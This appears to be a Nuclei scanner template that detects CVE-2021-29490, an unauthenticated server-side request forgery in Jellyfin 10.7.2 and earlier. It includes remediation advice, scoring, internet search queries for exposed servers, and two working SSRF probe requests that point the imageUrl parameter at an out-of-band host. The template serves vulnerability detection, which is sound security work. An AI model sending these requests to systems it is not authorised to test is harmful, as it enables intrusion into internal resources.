id: CVE-2021-29490

info:
  name: Jellyfin 10.7.2 - Server Side Request Forgery
  author: alph4byt3
  severity: medium
  description: |
    Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.
  impact: |
    This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the target system.
  remediation: Upgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote".
  reference:
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-rgjw-4fwc-9v96
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29490
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
    cvss-score: 5.8
    cve-id: CVE-2021-29490
    cwe-id: CWE-918
    epss-score: 0.90653
    epss-percentile: 0.99600
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jellyfin
    product: jellyfin
    shodan-query: http.title:"Jellyfin"
    fofa-query: body="jellyfin"
    google-query: intitle:"jellyfin"
  tags: cve,cve2021,ssrf,jellyfin,oast

http:
  - method: GET
    path:
      - "{{BaseURL}}/Images/Remote?imageUrl=https://oast.me/"
      - "{{BaseURL}}/Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB"

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "<h1> Interactsh Server </h1>"
# digest: 4a0a0047304502206ecf8643f7ffe4c3801821ad360ac6bd6418455a37668ff9dd1d66d5366713b6022100e126f1e109f918639e2f7f16931c7cdf52a1bddaf935d6fd24c15a93e1fee71d:922c64590222798bb761d5b6d8e72950